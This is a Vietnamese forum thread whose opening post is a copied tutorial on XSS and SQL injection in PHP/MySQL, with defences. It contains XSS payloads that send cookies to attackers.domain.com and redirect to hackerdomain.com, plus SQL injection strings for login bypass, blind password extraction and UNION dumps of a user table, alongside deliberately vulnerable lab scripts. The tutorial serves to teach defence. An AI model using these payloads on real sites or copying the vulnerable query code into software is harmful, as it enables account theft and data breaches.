• Các thành viên chú ý, NHT trở lại vẫn giữ những thông tin cũ, bao gồm username và mật khẩu. Vì vậy mong mọi người sử dụng nick name(hoặc email) và mật khẩu cũ để đăng nhập nhé. Nếu quên mật khẩu hãy vào đây Hướng dẫn lấy lại mật khẩu. Nếu cần yêu cầu trợ giúp, xin liên hệ qua facebook: Le Tuan, Trân trọng!

hacker web

#1
Nếu mod thấy hay thì sticky lên nha :)

Bạn có thể vào đây để xem dễ hơn theo format của wiki:
Tìm hiểu và chống lỗi bảo mật trong ứng dụng web

== PHP & MySQL ==
=== Lời mở đầu ===
Những năm gần đây, bộ đôi PHP & MySQL ngày càng chiếm lĩnh được cảm tình của những nhà phát triển web. Hơn 95% các ứng dụng web viết bằng PHP đều có dùng MySQL. Đặc biệt hơn cả, thời kỳ phát triển của web 2.0, bộ đôi này lại càng được đánh giá cao hơn. Ta có thể kể ra những web 2.0 tiêu biểu sử dụng bộ đôi này như: Flickr, Facebook, Wikipedia, Digg, Yahoo... và rất nhiều các ứng dụng web 2.0 lớn nhỏ. Một đế chế mới được hình thành, đó là '''LAMP'''. Đi kèm với sự phát triển đó là vấn đề bảo mật trong các ứng dụng web. Trong bài viết này, tôi sẽ nêu chi tiết các lỗi bảo mật và cách phòng chống chúng.

=== [http://en.wikipedia.org/wiki/Cross-site_scripting XSS – Cũ mà mà không cũ] ===
XSS là một lỗi không mới, nhưng đến thời web 2.0, các ứng dụng ngày càng dùng Client Script nhiều hơn, điển hình là Javascript thì người ta lại nhắc đến nó nhiều hơn lúc nào hết. Nói đến nó là người ta thường nói đến Javascript Malware, Web Worm. Các website “nổi” ở thời web 2.0 đều đã gặp phải như '''Youtube, Myspace, Xanga, Digg và kể cả Google, Yahoo'''.

Điểm mấu chốt ở lỗi XSS là sự thực thi trái phép Javascript trên website, ngoài ra lỗi này còn có thể dính ở Flash. Mục tiêu cuối cùng của kẻ muốn lợi dụng lỗi này là đánh cắp cookie (thông tin của người dùng), giải mạo một nội dung nào đó để đánh lừa người dùng. Lỗi này được đánh giá là rất nguy hiểm và luôn nằm trong top các lỗi bảo mật được thống kê hàng năm. Sau đây, chúng ta sẽ làm thử một ví dụ nhỏ về lỗi XSS để tìm hiểu nó:

Lưu ý: Để chạy các ví dụ, bạn phải cấu hình '''magic_quotes_gpc''' trong '''php.ini''' là '''off'''

Tạo một file '''test-xss.php''' có nội dung như sau:
PHP:
<form action="" method="post">
<input type="text" name="keyword" value="<?=$_POST['keyword']?>">&nbsp;<input type="submit" value="Search">
</form>
<?php
set_magic_quotes_runtime(FALSE);
if(isset($_POST['keyword']) && !empty($_POST['keyword'])) {
      echo 'Từ khóa cần tìm là: '.$_POST['keyword'];
}
?>
Sau khi chạy trang, bạn hãy nhập đoạn sau vào ô tìm kiếm:
PHP:
Oh <script>alert('XSS')</script>
Kết quả ta được:
[[Image:BMLAMP_002.jpg]]

Như bạn thấy, mã javascript đã bị thực thi trái phép. Javascript có thể lấy được cookie, hacker có thể dùng đoạn mã sau đây để lấy cookie của người dùng, từ đó có thể truy cập trái phép vào tài khoản của họ nếu website không được bảo mật kỹ, hacker có thể lựa nạn nhân truy cập đường dẫn có kèm theo đoạn mã sau nếu dùng phương thức GET:
PHP:
<script>
    document.location = 'http://attackers.domain.com/somescript.php?cookies=' + document.cookie;
</script>
Những người dùng thường xuyên thường có thói quen ghi nhớ lại thông tin tài khoản (Remember me). Vì vậy trong trường hợp này, mất cookie là rất nguy hiểm. Một cách khác đối với những website cho người nội dung như diễn đàn, gửi bài bình luận:
PHP:
<script>
    document.getElementById('some_div').innerHTML= '<img src="http://attackers.domain.com/somescript.php?cookies=' + document.cookie + ' />';
</script>
Lúc này, bất cứ ai vào trang có nội dung trái phép này đều sẽ bị mất cookie và số nạn nhân sẽ là rất nhiều chứ không chỉ là đối tượng mà hacker hướng tới như trường hợp trên. Với cách này, nội dung trên website lúc này đã được thay đổi. Lấy ví dụ, nếu người dùng đọc một bài viết có download file nào đó, khi đó, hacker có thể thay đổi lại đường dẫn của file trên trang bằng file khác, làm cho người dùng lầm tưởng là file của website mà tải về , hoặc hacker có thể thay đổi những đường dẫn khác mà nhiều người click hơn. Một thủ thuật cũng khá tổn hại đến website là dùng javascript để chuyển hướng đến trang khác làm người dùng không thể xem website chính mà là trang hacker muốn chuyển đến:
PHP:
<script>
    document.getElementById('some_div').innerHTML= '<meta http-equiv="refresh" content="0;url=http://hackerdomain.com">';
</script>
'''Digg Vulnerable to XSS''': oreillynet.com/onlamp/blog/2005/11/digg_vulnerable_to_xss.html

==== Chống XSS ====
Lỗi XSS rất nguy hiểm, để chống được nó cũng là một việc dễ nhưng cũng rất khó khăn. Mỗi trình duyệt xử lý javascript khác nhau, làm cho việc chống nó trở nên rất khó khăn, nhất là đối với việc lọc các đoạn mã nguy hiểm. Bạn có thể xem XSS Cheat Sheet (http://ha.ckers.org/xss.html) – một danh sách khá dài. Sau đây là một số cách nhằm hạn chế XSS:
'''- Chống thực thi javascript''': Mã hóa các kí tự đặc biệt: dùng hàm '''htmlspecialchars''', '''htmlentities''' (http://php.net/htmlspecialchars) để mã hóa và '''strip_tags''' nếu bạn muốn không có HTML trong nội dung. Nhưng tốt nhất bạn hãy dùng hàm này:
PHP:
function my_html_encode($s) {
      $s = preg_replace("#&(?!\#[0-9]+;)#si", "&amp;", $s); // Fix & but allow unicode
      $s = str_replace("<","&lt;",$s);
      $s = str_replace(">","&gt;",$s);
      $s = str_replace("\"","&quot;",$s);
      $s = str_replace("  ", "&nbsp;&nbsp;", $s);
      return $s;
}
echo 'Từ khóa cần tìm là: '.my_html_encode($_POST['keyword']);
Sau khi sửa, kết quả sẽ là:
[[Image:BMLAMP_003.jpg]]
Nhược điểm của cách trên là không để dùng với các WYSIWYG editor để soạn nội dung, bạn buộc phải dùng BBcode hoặc Wiki Format. Nhưng không phải là không có giải pháp, sau đây là một số giải pháp:
+ Dùng các class viết bằng PHP để format lại HTML:
'''PHP Input Filter''' (phpclasses.org/browse/package/2189.html)
'''HTML_Safe''' (pear.php.net/package/HTML_Safe)
'''kses''' (sourceforge.net/projects/kses)
'''Safe HTML Checker''' (simonwillison.net/code/php/SafeHtmlChecker.class.php.txt)
'''HTML Purifier''' (htmlpurifier.org)
+ Dùng thư viện có sẵn trong PHP là '''Tidy''': http://us2.php.net/manual/en/ref.tidy.php

- '''Chống mất cookie''': Đây là vấn đề rất quan trọng, giải pháp tốt nhất hiện nay là dùng '''HttpOnly Cookie'''. (msdn2.microsoft.com/en-us/library/ms533046.aspx)
PHP:
Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly
Đây là một kĩ thuật của Microsoft hỗ trợ trên trình duyệt '''Internet Explorer''', mới đây, '''Firefox''' đã hỗ trợ từ phiên bản '''2.0.0.5'''. Ngoài ra còn được hỗ trợ trên '''Opera 9, Konqueror'''. Khi dùng kỹ thuật này, không thể lấy cookie bằng Javascript (ha.ckers.org/httponly.cgi). Để tạo HttpOnly Cookie bằng PHP, bạn có thể làm như sau:

'''httponly.php'''
PHP:
<?php
$setting = array(
      'cookie_url' => '',
      'cookie_path' => '',
      'cookie_pre' => ''
);
function set_cookie($name, $value="", $expires="", $httponly=true)
{
      global $setting;
 
      $setting['cookie_url'] = $setting['cookie_url'] == "" ? ""  : $setting['cookie_url'];
      $setting['cookie_path']   = $setting['cookie_path']   == "" ? "/" : $setting['cookie_path'];
      $setting['cookie_pre'] = $setting['cookie_pre'] == "" ? "cookie_" : $setting['cookie_pre'];
 
      if($expires == -1) {
            $expires = 0;
      } else if($expires == "" || $expires == null) {
            $expires = time() + 31536000; // 60*60*24*365
      } else {
            $expires = time() + intval($expires);
      }
      $name = $setting['cookie_pre'].$name;
 
      $cookie = "Set-Cookie: {$name}=".urlencode($value);
      if($expires > 0)
      {
            $cookie .= "; expires=".gmdate('D, d-M-Y H:i:s \\G\\M\\T', $expires);
      }
      if(!empty($setting['cookie_path']))
      {
            $cookie .= "; path={$setting['cookie_path']}";
      }
      if(!empty($setting['cookie_url']))
      {
            $cookie .= "; domain={$setting['cookie_url']}";
      }
      if($httponly == true)
      {
            $cookie .= "; HttpOnly";
      }
      header($cookie, false);
}
 
set_cookie('user', 'Administrator');
?>
Với cách trên, chúng ta dùng hàm header trong PHP để tạo cookie, nhưng kể từ phiên bản '''PHP 5.2''', hàm setcookie đã hỗ trợ HttpOnly (php.net/setcookie)

Tóm lại, các giải pháp phòng chống không phải là đã an toàn 100%. Tốt nhất bạn hãy kiểm tra tốt phần nhận dữ liệu từ người dùng, hạn chế lưu những thông tin nhạy cảm của người dùng bằng cookie. Nếu site bạn không dùng cookie thì cũng nên chống XSS để tránh trường hợp tạo trang giả mạo, thay đổi nội dung trang để đánh lừa người dùng.
=== SQL Injection – Nguy hiểm luôn rình rập ===
Trong phần này, tôi chỉ bàn đến lỗi trong MySQL khi sử dụng với PHP. Đây là lỗi bảo mật nguy hiểm chỉ đứng sau XSS về số lượng lỗi bị khai thác.

Để thuận thiện cho quá trình tìm hiểu và phân tích, chúng ta sẽ tạo một database với tên testsql001
và sử dụng kết hợp Command để quản trị MySQL
PHP:
CREATE DATABASE testsql001;
[[Image:BMLAMP_MySQL_001.gif]]
Sau đây là các lỗi có thể bị khai thác:
'''* Đăng nhập tài khoản trái phép:'''
Bạn hãy import SQL sau vào database tên là '''testsql001'''
PHP:
CREATE TABLE `user` (
`id` int(10) NOT NULL auto_increment,
`name` varchar(128) NOT NULL default '',
`pass` varchar(128) NOT NULL default '',
PRIMARY KEY (`id`)
) TYPE=MyISAM;
 
INSERT INTO `user` VALUES (1, 'admin', 'adminpass');
INSERT INTO `user` VALUES (2, 'user', 'userpass');
Tiếp tục tạo script PHP như sau:
'''testsql.php'''
PHP:
<?php
if(isset($_GET['name']) || isset($_GET['pass'])) {
      $dbserver = "localhost";
      $dbuser = "root";
      $dbpw = "";
      $dbname = "testsql001";
 
      mysql_connect($dbserver,$dbuser,$dbpw) OR die ('Could not connect: '.mysql_error());
      mysql_select_db($dbname) OR die('Could not select database');
 
      $query = "SELECT * FROM user WHERE name='{$_GET['name']}' AND pass='{$_GET['pass']}'";
 
      $result = mysql_query($query)/* OR die('Query failed: ' . mysql_error())*/;
      $user = mysql_fetch_assoc($result);
 
      if (isset($user) && !empty($user))
      {
            echo 'Welcome : '.$user['name'];
      } else {
            echo 'Wrong!!!';
      }
 
      echo '<p>Debug Query:<br /><b>'.$query.'</b><p>';
} else {
      echo 'Welcome Guest';
}
<u>Vì lý do bảo mật, bạn hãy thay '''RO''' thành '''OR''' và '''[''' thành dấu nháy '''(')''' trong các câu lệnh SQL</u>

Thử vào trang với URL:
<pre>
URL 1 : http://localhost/SECURITY/testsql.php?name=admin[ RO [1=1 <= hợp lệ
URL 2 : [url]http://localhost/SECURITY/testsql.php?name=admin[/url][ RO 1=1--[ <= hợp lệ
URL 3 : http://localhost/SECURITY/testsql.php?name=admin[ RO 1=1 <= không hợp lệ
</pre>
Lúc này query sẽ là:
<pre>
URL 1 : SELECT * FROM user WHERE name='admin' RO [1=1[ AND pass=[[
URL 2 : SELECT * FROM user WHERE name='admin' RO 1=1--[[ AND pass=[[
URL 3 : SELECT * FROM user WHERE name='admin' RO 1=1[ AND pass=[[
</pre>
Khi có biểu thức 1=1 hoặc -- thì các cậu lệnh SQL phía sau (AND pass=) xem như không có tác dụng. Khi đó, trang sẽ hiện ra:
<pre>
[url]http://localhost/SECURITY/testsql.php?name=admin[/url][ RO [1=1&pass=123
</pre>
[[Image:BMLAMP_MySQL_002.jpg]]
<pre>
http://localhost/SECURITY/testsql.php?name=admin[/* <= hợp lệ
http://localhost/SECURITY/testsql.php?name=admin[# <= không hợp lệ
http://localhost/SECURITY/testsql.php?name=admin[%23 <= hợp lệ
</pre>
[[Image:BMLAMP_MySQL_003.jpg]]
Đây là những kí tự để chú thích cho câu lệnh SQL, vì vậy, phần SQL phía sau đó xem như không có tác dụng. Đấy thăng # ở đây không hợp lệ vì nó dùng để trỏ tới một anchor trên trang chứ không được gửi tới query, '''%23''' là mã hóa của #, nó hợp lệ để gửi đi.
[[Image:BMLAMP_MySQL_004.jpg]]
'''Như vậy, hacker có thể đăng nhập hợp pháp với bất cứ tài khoản nào có trong CSDL mà không cần biết mật khẩu.'''
test-search.php
PHP:
<?php
set_magic_quotes_runtime(FALSE);
if(isset($_GET['kw'])) {
      $dbserver = "localhost";
      $dbuser = "root";
      $dbpw = "";
      $dbname = "testsql001";
      mysql_connect($dbserver,$dbuser,$dbpw) OR die ('Could not connect: '.mysql_error());
      mysql_select_db($dbname) OR die('Could not select database');
      $query = "SELECT * FROM user WHERE name LIKE '%{$_GET['kw']}%' OR pass LIKE '%{$_GET['kw']}%'";
      $result = mysql_query($query)/* OR die('Query failed: ' . mysql_error())*/;
     
      while($s = mysql_fetch_assoc($result)) {
            $r[] = $s;
      }
      if (isset($r) && !empty($r)) {
            foreach($r as $rs) {
                  echo $rs['name'].' - '.$rs['pass'].'<br />';
            }
      } else {
            echo 'Not found!!!';
      }
      echo '<p>Keyword: '.$_GET['kw'].'<br />Debug Query: <b>'.$query.'</b><p>';
} else {
      echo 'Search me!';
}
Khi ta cho từ khóa (kw) là % và _ thì tất cả dữ liệu trong bảng user sẽ được hiển thị
<pre>
http://localhost/SECURITY/test-search.php?kw=% <= tất cả
http://localhost/SECURITY/test-search.php?kw=_ <= tất cả
http://localhost/SECURITY/test-search.php?kw=admin <= admin - adminpass
</pre>
[[Image:BMLAMP_MySQL_005.jpg]]
Nếu dữ liệu nhiều, hacker có thể gửi liên tục URL này, rất có thể server của bạn sẽ quá tải.

* Blind SQL Injection:
Sửa $query trong '''testsql.php''' thành:
<pre>$query = "SELECT * FROM user WHERE name='{$_GET['name']}'";</pre>
Kỹ thuật này là cách dò tìm dựa vào các lỗi SQL Injection và so sánh giá trị trong SQL. Sau đây ra sẽ thử dò xem mật khẩu của tài khoản admin là gì. Đầu tiên sẽ tìm độ dài của mật khẩu bằng hàm LENGTH của MySQL
URL:
<pre>
http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[4 <= Sai
http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[6 <= Sai
http://localhost/SECURITY/testsql.php?name=admin[ and LENGTH(pass)=[9 <= Đúng
</pre>
[[Image:BMLAMP_MySQL_006.jpg]]
Như vậy mật khẩu dài 9 kí tự, tiếp theo sẽ dò từng kí tự trong mật khẩu, MySQL hỗ trợ các hàm: '''LEFT, RIGHT và MID''' (dev.mysql.com/doc/refman/5.0/en/string-functions.html) để tìm vị trí của kí tự trong chuỗi nào đó.

Tìm kí tự đầu tiên, tham số thứ 2 trong hàm LEFT là độ dài kí tự muốn lấy ra:
<pre>
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,1)=[p <= Sai
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,1)=[a <= Đúng
</pre>
[[Image:BMLAMP_MySQL_007.jpg]]
Tiếp tục tìm kí tự thứ hai trong mật khẩu, ta đã biết được kí tự đầu tiên là "a":
<pre>
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,2)=[ad
</pre>
Tương tự cho đến 9 kí tự:
<pre>
http://localhost/SECURITY/testsql.php?name=admin[%20and%20LEFT(pass,9)=[adminpass
</pre>
[[Image:BMLAMP_MySQL_008.jpg]]
[[Image:BMLAMP_MySQL_009.jpg]]
Như vậy, hacker đã biết được chính xác mật khẩu của tài khoản admin. Các hacker thường viết ra công cụ tự dò tìm, tốc độ rất nhanh, vì vậy bạn đừng nghĩ rằng cách này tốn thời gian vô ích!

* Sử dụng câu lệnh gộp (UNION Query):
Đấy là cách SQL Injection khá thông dụng cho ASP và MSSQL, đối với MySQL cũng có thể bị khai thác tương tự. Đây là lỗi SQL Injection thường được khai thác nhất vì hiệu quả cao.

Chạy SQL sau để tạo bảng '''post''':
PHP:
CREATE TABLE `post` (
`id` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
`title` TEXT NOT NULL ,
`text` TEXT NOT NULL
) ENGINE = MYISAM;
 
INSERT INTO `testsql001`.`post` VALUES (NULL , 'Bai viet 1', 'Noi dung bai viet 1'), (NULL , 'Bai viet 2', 'Noi dung bai viet 2');
Tạo file '''union.php''' như sau:
PHP:
set_magic_quotes_runtime(FALSE);
if(isset($_GET['id'])) {
      $dbserver = "localhost";
      $dbuser = "root";
      $dbpw = "";
      $dbname = "testsql001";
 
      mysql_connect($dbserver,$dbuser,$dbpw) or die ('Could not connect: '.mysql_error());
      mysql_select_db($dbname) or die('Could not select database');
 
      $query = "SELECT * FROM post WHERE id='{$_GET['id']}'";
 
      $result = mysql_query($query)/* or die('Query failed: ' . mysql_error())*/;
      $post = mysql_fetch_assoc($result);
 
      if (isset($post) && !empty($post))
      {
            echo 'Title : <b>'.$post['title'].'</b><br />';
            echo 'Text : '.$post['text'].'<br />';
      } else {
            echo 'Wrong!!!';
      }
 
      echo '<p>Post ID: '.$_GET['id'].'<br />Debug Query: <b>'.$query.'</b><p>';
} else {
      echo 'Post list';
}
Sau đó, ta chạy thử với URL như sau:
<pre>
URL: http://localhost/SECURITY/union.php?id=1' union select 1,name,pass from user %23'
Query: SELECT * FROM post WHERE id='1' union select 1,name,pass from user #''
</pre>
[[Image::BMLAMP_MySQL_010.jpg]]
Chưa có gì đặc biệt, ta thử trong Command xem sao:
[[Image::BMLAMP_MySQL_011.jpg]]
Kết quả ta thấy câu lênh lấy ra được 3 rows, nhưng vì trong mã PHP, ta chỉ lấy một kết quả đầu tiên. Ta thử sửa lại mã như sau:
PHP:
//...
      while($post = mysql_fetch_assoc($result)) {
            echo 'Title : <b>'.$post['title'].'</b><br />';
            echo 'Text : '.$post['text'].'<br />';
      }
//...
Kết quả ta được:
[[Image::BMLAMP_MySQL_012.jpg]]
Như vậy tài khoản trong bảng user đã bị lộ. Trở lại với trường hợp trang chỉ có ra một kết quả, mặc dù tập kết quả trả về từ query vẫn là 3, nhưng khi hiện ra trang chỉ lấy kết quả đầu tiên, nên hacker chưa thể có được kết quả trong bảng user. Ta thử với URL sau:
<pre>
http://localhost/SECURITY/union.php?id=-1' union select 1,name,pass from user %23'
</pre>
Kết quả ta được khi lấy toàn bộ kết quả:
[[Image::BMLAMP_MySQL_013.jpg]]
Khi lấy 1 kết quả:
[[Image::BMLAMP_MySQL_014.jpg]]
[[Image::BMLAMP_MySQL_015.jpg]]
Khi số id ở SELECT đầu tiên không tồn tại, tức kết quả trả về là rỗng, khi đó kết quả sẽ chỉ có ở SELECT thứ hai. Union dùng để gộp query với các bảng '''có số trường bằng nhau'''. Ta thử thêm một trường nữa vào bảng post:
PHP:
ALTER TABLE `post` ADD `order` VARCHAR( 100 ) NOT NULL AFTER `text` ;
Lúc này, bảng post đã có số trường khác với bảng user, ta chạy thử câu query ban đầu:
PHP:
SELECT * FROM post WHERE id='-1' union select id,name,pass from user #''
Ngay lập tức, MySQL sẽ báo lỗi hai bảng không có số trường bằng nhau:
[[Image::BMLAMP_MySQL_016.jpg]]
Nhưng hãy thử bằng query sau đây:
PHP:
SELECT * FROM post WHERE id='-1' union select id,name,pass,1 from user #''
Kết quả đã lấy được dữ liệu từ bảng user một cách hợp lệ mà không phải gặp thông báo lỗi:
[[Image::BMLAMP_MySQL_017.jpg]]
Từ đây ta rút ra được, đừng nên nghĩ rằng hai bảng không có số trường giống nhau thì sẽ không cho ra kết qua khi dùng Union!

Ngoài việc lấy dữ liệu, hacker còn có thê khai thác qua các lệnh INSERT và UPDATE để thêm mới hoặc cập nhật dữ liệu trái phép như thêm tài khoản mới với quyền quản trị, cập nhật từ người dùng bình thường thành quản trị. Hacker còn có thể lấy các thông tin về máy chủ CSDL bằng các hàm như: DATABASE(),USER(),SYSTEM_USER(). Nguy hiểm với dữ liệu hơn là có thể dùng lệnh DROP để xóa đi một bảng nào đó!

SQL Injection Cheat Sheet: ferruh.mavituna.com/makale/sql-injection-cheatsheet
 

™ ®a©ing -:¦:- club ™

___I__₤ov€__¥Øu___
#2
trời mưa thế này nếu có thời gian rãnh
mần địa lạc rang rồi ngồi coi phim chưởng hấn vẫn bổ ích hơn
phá của người ta mần chi đó mồ
 
#4
bài này nếu ko phải là hacker hoạc tương tự thì khó mà viết ra dc.
bác đoán chẩn quá. đây chỉ là bài span thôi. nhưng đọc thấy hay nên post lên cho a e đọc.
còn nguồn thì trên google.com.
 
#6
Cho em hỏi anh Enter đã kiếm được bao nhiêu con cc rồi thế ;))
E trong sạch nỏ bao giờ biết cc là gì anh Tony_NguyenDoan_HS nờ


PS: giờ xem lại bài này mới thấy trước đây mình ngu ;) đến cả leech bài cũng ko biết cách leech :-s
 

Lieumangnht™

Hạc Già
Staff member
#7
Đến cả tiêu đề cũng khó hiểu nữa kìa Enter :D Hacker # hack
 
#8
Đến cả tiêu đề cũng khó hiểu nữa kìa Enter :D Hacker # hack
Thanks bác nhé ;) Lại thấy thêm dc là mình càng ko hiểu gì :D
Chơ mà e vẫn xin để cái tiêu đề thế ko sửa lại nha bác ;) để nhớ là trước mình từng post những bài như thế này :D (09-06-2010 11:58 PM)